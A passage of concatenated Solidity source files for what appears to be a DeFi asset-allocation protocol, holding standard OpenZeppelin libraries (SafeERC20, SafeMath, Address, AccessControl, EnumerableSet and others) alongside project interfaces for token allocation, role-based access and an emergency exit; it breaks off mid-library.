0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643; address public constant CUSDC_ADDRESS = 0x39AA39c021dfbaE8faC545936693aC917d5E7563; } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {CurveAllocationBase, CurveAllocationBase3} from "./CurveAllocationBase.sol"; import {CurveAllocationBase2} from "./CurveAllocationBase2.sol"; import {CurveAllocationBase4} from "./CurveAllocationBase4.sol"; import {CurveGaugeZapBase} from "./CurveGaugeZapBase.sol"; import {CurveZapBase} from "./CurveZapBase.sol"; import {OldCurveAllocationBase2} from "./OldCurveAllocationBase2.sol"; import {OldCurveAllocationBase3} from "./OldCurveAllocationBase3.sol"; import {OldCurveAllocationBase4} from "./OldCurveAllocationBase4.sol"; import {TestCurveZap} from "./TestCurveZap.sol"; // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IDetailedERC20 is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.6.11; import { AccessControl as OZAccessControl } from "@openzeppelin/contracts/access/AccessControl.sol"; /** * @notice Extends OpenZeppelin AccessControl contract with modifiers * @dev This contract and AccessControlUpgradeSafe are essentially duplicates. */ contract AccessControl is OZAccessControl { /** @notice access control roles **/ bytes32 public constant CONTRACT_ROLE = keccak256("CONTRACT_ROLE"); bytes32 public constant LP_ROLE = keccak256("LP_ROLE"); bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE"); bytes32 public constant EMERGENCY_ROLE = keccak256("EMERGENCY_ROLE"); modifier onlyLpRole() { require(hasRole(LP_ROLE, _msgSender()), "NOT_LP_ROLE"); _; } modifier onlyContractRole() { require(hasRole(CONTRACT_ROLE, _msgSender()), "NOT_CONTRACT_ROLE"); _; } modifier onlyAdminRole() { require(hasRole(ADMIN_ROLE, _msgSender()), "NOT_ADMIN_ROLE"); _; } modifier onlyEmergencyRole() { require(hasRole(EMERGENCY_ROLE, _msgSender()), "NOT_EMERGENCY_ROLE"); _; } modifier onlyLpOrContractRole() { require( hasRole(LP_ROLE, _msgSender()) || hasRole(CONTRACT_ROLE, _msgSender()), "NOT_LP_OR_CONTRACT_ROLE" ); _; } modifier onlyAdminOrContractRole() { require( hasRole(ADMIN_ROLE, _msgSender()) || hasRole(CONTRACT_ROLE, _msgSender()), "NOT_ADMIN_OR_CONTRACT_ROLE" ); _; } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; /** * @notice Used by the `NamedAddressSet` library to store sets of contracts */ interface INameIdentifier { /// @notice Should be implemented as a constant value // solhint-disable-next-line func-name-mixedcase function NAME() external view returns (string memory); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {INameIdentifier} from "./INameIdentifier.sol"; /** * @notice For use with the `TvlManager` to track the value locked in a protocol */ interface IAssetAllocation is INameIdentifier { struct TokenData { address token; string symbol; uint8 decimals; } /** * @notice Get data for the underlying tokens stored in the protocol * @return The array of `TokenData` */ function tokens() external view returns (TokenData[] memory); /** * @notice Get the number of different tokens stored in the protocol * @return The number of tokens */ function numberOfTokens() external view returns (uint256); /** * @notice Get an account's balance for a token stored in the protocol * @dev The token index should be ordered the same as the `tokens()` array * @param account The account to get the balance for * @param tokenIndex The index of the token to get the balance for * @return The account's balance */ function balanceOf(address account, uint8 tokenIndex) external view returns (uint256); /** * @notice Get the symbol of a token stored in the protocol * @dev The token index should be ordered the same as the `tokens()` array * @param tokenIndex The index of the token * @return The symbol of the token */ function symbolOf(uint8 tokenIndex) external view returns (string memory); /** * @notice Get the decimals of a token stored in the protocol * @dev The token index should be ordered the same as the `tokens()` array * @param tokenIndex The index of the token * @return The decimals of the token */ function decimalsOf(uint8 tokenIndex) external view returns (uint8); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {IERC20} from "./Imports.sol"; /** * @notice Used for contracts that need an emergency escape hatch * @notice Should only be used in an emergency to keep funds safu */ interface IEmergencyExit { /** * @param emergencySafe The address the tokens were escaped to * @param token The token escaped * @param balance The amount of tokens escaped */ event EmergencyExit(address emergencySafe, IERC20 token, uint256 balance); /** * @notice Transfer all tokens to the emergency Safe * @dev Should only be callable by the emergency Safe * @dev Should only transfer tokens to the emergency Safe * @param token The token to transfer */ function emergencyExit(address token) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. 